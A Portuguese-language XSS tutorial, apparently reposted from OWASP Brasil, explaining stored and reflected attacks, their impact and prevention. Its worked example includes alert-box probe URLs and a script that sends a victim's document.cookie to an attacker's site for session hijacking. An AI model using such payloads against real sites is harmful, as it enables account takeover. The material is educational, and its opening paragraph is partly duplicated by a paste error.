Código:
Entendendo à XSS As vulnerabilidades Cross-site scripting (por vezes chamado de XSS) ocorrem quando um invasor usa uma aplicação web para enviar código malicioso, geralmente na forma de um script, para um outro usuário final. Estas vulnerabilidades estão muito difundidas e ocorrem sempre que uma aplicação web utiliza a entrada do usuário na saída que aplicação gera sem validá-la. Um invasor pode usar o cross site scriting para enviar scripts malicioso para um usuário inocente. O navegador web do usuário final não tem como saber se aquele script deve ser ou não confiável e executará o script. Devido ao navegador supor que o script vem de uma fonte confiavel, o script malicioso pode ter acesso a qualquer cookie, tokens de sessão ou outra informação sensível retida em seu navegador web e usada naquele site. Estes scripts podem até mesmo rescrever o conteúdo dAs vulnerabilidades Cross-site scripting (por vezes chamado de XSS) ocorrem quando um invasor usa uma aplicação web para enviar código malicioso, geralmente na forma de um script, para um outro usuário final. Estas vulnerabilidades estão muito difundidas e ocorrem sempre que uma aplicação web utiliza a entrada do usuário na saída que aplicação gera sem validá-la. Um invasor pode usar o cross site scriting para enviar scripts malicioso para um usuário inocente. O navegador web do usuário final não tem como saber se aquele script deve ser ou não confiável e executará o script. Devido ao navegador supor que o script vem de uma fonte confiavel, o script malicioso pode ter acesso a qualquer cookie, tokens de sessão ou outra informação sensível retida em seu navegador web e usada naquele site. Estes scripts podem até mesmo rescrever o conteúdo da página HTML. Ataques XSS podem geralmente ser classificados em duas categorias: armazenamento e reflexão. Ataques de armazenamento são aqueles onde o código injetado fica permanentemente armazenado nos servidores alvo, como em um banco de dados, em mensagem de fórum, log de visitantes, campos de comentário, etc. A vítima então recupera o script malicioso do servidor quando requisita a informação armazenada. Ataques de reflexão são aqueles onde o código injetado é refletido pelo servidor web, por meio de uma mensagem de erro, resultado de procura ou qualquer outra resposta que inclua alguma ou toda entrada enviada para o servidor como parte da requisição. Ataques de reflexão são enviados para as vítimas através de outra rota, com por meio de mensagem de correio eletrônico ou algum outro servidor web. Quando um usuário é ludibriado a clicar em um link malicioso ou submeter um formulário especialmente manipulado, o código injetado viaja para o servidor web vulnerável, que reflete o ataque de volta para o usuário do navegador. O navegador então executa o código pois ele vem de um servidor confiável. A consequência de um ataque de XSS é a mesma não importando se é de armazenamento ou de reflexão. A diferença está em como a carga chega no servidor. Não se engane ao pensar que um site de leitura apenas ou um site "brochureware" não é vulnerável a sérios ataques XSS de reflexão. XSS pode causar uma variedade de problemas para o usuário final com uma extensão de severidades desde de aborrecimento até o comprometimento completo da conta. A maioria dos ataques severos de XSS envolve a exposição do cookie de seção do usuário, permitindo ao invasor sequestrar a sessão do usuário e se apoderar da conta. Outros ataques danosos incluem a exposição de arquivos do usuário, um invasor modificar um press release ou uma notícia que pode afetar as ações de uma companhia ou diminuir a confiança do consumidor. Uma vulnerabilidade de XSS em site farmacêutico pode permitir ao invasor modificar a informação de dosagem resultando em uma overdose. Os invasores frequentemente usam uma variedade de métodos para codificar a parte maliciosa de uma tag, como usar Unicode, com isso, a requisição é menos suspeita ao olhar do usuário. Existem centenas de variantes para estes ataques, incluindo versões que não requisitam qualquer símbolo "<" e ">". Por esta razão, tentativas para filtrar estes scripts normalmente não são bem sucedidas. Ao invés disso, nós recomendamos validar a entrada contra uma rigorosa identificação positiva do que é esperado. Ataques XSS normalmente vem em forma de javascript. Contudo, qualquer conteúdo ativo embutido é uma fonte potencial de perigo, incluindo: ActiveX (OLE), VBscript, Shockwave, Flash e outros. Os problemas com XSS também podem estar presentes em servidores web básicos bem como servidores de aplicação. A maioria dos servidores web e de aplicação gera páginas web simples para mostar em caso de vários erros, como a 404 'página não encontrada' ou a 500 'erro interno no servidor'. Se estas páginas refletirem de volta qualquer informação das requisições dos usuários, como a URL que eles tentaram acessar, eles podem ser vulneráveis as ataques XSS de reflexão. A probabilidade que um site contenha um vulnerabilidade XSS é extremamente alta. Existem uma grande variedade de caminhos para ludibriar a aplicação web enviando scripts maliciosos. Ao desenvolvedores que tentam filtrar as partes maliciosas destas requisições muito provavelmente não se aperceberam de possíveis ataques e codificações. Achar estas falhas não é uma grande dificuldade para os invasores, tudo que eles precisam é um navegador e algum tempo. Existem numerosas ferramentas gratuitas disponíveis que ajudam hacker a encontrar estas vulnerabilidades bem como cuidadosamente manipular e injetar ataques XSS no site alvo. Explicação Mais definida É uma falha muito conhecida e utilizada por hackers para obter vantagens em um sistema baseado em Web. Mesmo esta técnica já sendo de conhecimento geral, uma boa parte dos sistemas ainda está sujeito à falhas desse gênero. XSS é uma técnica utilizada para roubar sessões (cookies) em uma aplicação web. Ela consiste na injeção de tags html e comandos Java script em alguma função de um sistema, sendo assim tornando possível obter sessões de outros usuários sem a necessidade de se ter autorização para tal. Em outras palavras: Seria possível entrar em um webmail, fórum, livro de visitas e até mesmo um banco on-line sem a necessidade de se saber a senha do alvo. Esta técnica oferece alto risco a um usuário alvo tendo em vista que informações sensíveis poderão ser descobertas caso a falha exista. -> Técnica: Para utilizar tal técnica, será necessário um browser que suporte Java script. Também se faz necessário que o alvo a ser testado tenha páginas dinâmicas (podem ser dos mais diversos tipos: asp, jsp ,php , perl). -> Funcionamento: Suponha que o site: http://www.site.com.br/email/mail.pl? acao=leremail&login=1 Analisando este site fictício, pode-se observar que a partir do mail.pl é passado dois parâmetros para a função: acao=inbox e login=1. Como a técnica consiste em inserir tags html, a forma de procedimento a verificar a falha seria: http://www.site.com.br/email/mail.pl? acao=leremail<script>alert("Vulnerável a XSS!")</script> &login=1 Outra forma seria: http://www.site.com.br/email/mail.pl?acao=<script>alert ("Vulnerável a XSS!")</script>&login=1 Após a injeção imediatamente o browser mostraria uma mensagem, que serviria como prova de que este sistema fictício no caso está vulnerável a Cross Site Scripting. Poderia também utilizar a tag Java script: <script>alert(document.cookie)</script> o que retornaria o cookie da sessão aberta. Porém este cookie seria da sessão do atacante, o que não teria serventia. Então, como pegar o cookie de outras pessoas? Neste caso, seria possível pegar a sessão de outras pessoas quando: elas estivessem logadas no sistema e estivessem lendo seus e-mails. Envia-se um e-mail para o alvo colocando as tags de Java Script fazendo com que este cookie seja enviado para algum outro lugar. Ou seja: O cookie seria enviado para um outro sistema, do atacante quando a mensagem fosse aberta e sem que o usuário notasse, ele seria enviado a um sistema web (muito simples de ser feito) contendo o cookie da sessão do alvo. No e-mail especialmente feito para se roubar a sessão, poderia-se colocar a seguinte tag: <script> document.location = 'http://www.sitedoatacante.com.br/programa.cgi?cookie=' + document.cookie; </script> Este script CGI teria como função apenas receber o numero do cookie do alvo. Após isso o atacante, tendo o número da sessão poderia construir um cookie manualmente colocando as informações adquiridas e sem a necessidade de logar, entrar no e-mail do alvo. -> Prevenção: Existem várias formas de se prevenir contra esses ataques. A melhor forma para tal seria que o sistema não suportasse ou filtrasse as tags de html e Java Script, tendo em vista que é possível em uma tag html, inserir um comando Java Script. Exemplo: <a href="bla.html" onMouseOver="alert(document.cookie);">testeXss</a> A única forma realmente 100% eficiente para se prevenir desses ataques seria a filtragem do conteúdo, porém isso causaria de certa forma uma possível perda de funcionalidade. Vale lembrar também que geralmente empresas de software por não possuírem um controle/gerenciamento de processo cíclico de desenvolvimento, muitas vezes as mesmas não corrigem essa falha por inviabilidade, assim deixando o usuário a mercê de ataques dessa espécie. Por este motivo nem sempre o usuário final está protegido. Algumas outras medidas mais voltadas ao usuário final poderiam e deveriam ser tomadas: Problema: Um atacante poderia, enviar mensagens a contatos do alvo contendo uma mensagem se passando pelo alvo para conseguir informações e até mesmo prejudicar o alvo. Solução: Utilizar assinatura digital em todas as mensagens enviadas, faria com quem recebesse a mensagem, pudesse conferir quem realmente a enviou. Para isto, poderia se utilizar o PGP, GPG.(Programas de criptografia pesada). Problema: Um atacante poderia obter informações sensíveis. Na grande maioria dos e-mails gratuitos ou não, é necessário dispor de dados como: Rg, Endereço, Telefone, etc. Para se efetuar o cadastro da conta. Solução: A única forma de se evitar seria que o fabricante do software utilizasse algumas técnicas de pedir senha novamente ao acessar dados sensíveis da conta. Porém como em alguns casos o fabricante negligencia isso, a única coisa a se fazer seria não informar seus dados ao seu sistema. Caso não concorde com os termos de informar seus dados em um sistema, como exemplo um web mail, procure outro fornecedor deste serviço que não obrigue que o usuário tenha de informar tais dados. Conclusão Apesar de estes ataques serem bem conhecidos, é sabido que diariamente várias falhas de Cross Site Scripting são descobertas. A falha pode parecer inofensiva porém a mesma pode trazer um impacto absurdo para o usuário alvo e em conseqüência disso, prejudicar empresas. Na grande maioria, estas falhas são corrigidas rapidamente pelo fabricante do sistema, porém isso não diminui o risco de o mesmo sistema, após alguma nova modificação, volte a ter o mesmo problema. Além do que, devido à explosão de páginas dinâmicas na internet a cada dia que passa, tende-se a aumentar essas falhas. Origem: OWASP Chapter Brasil
Comment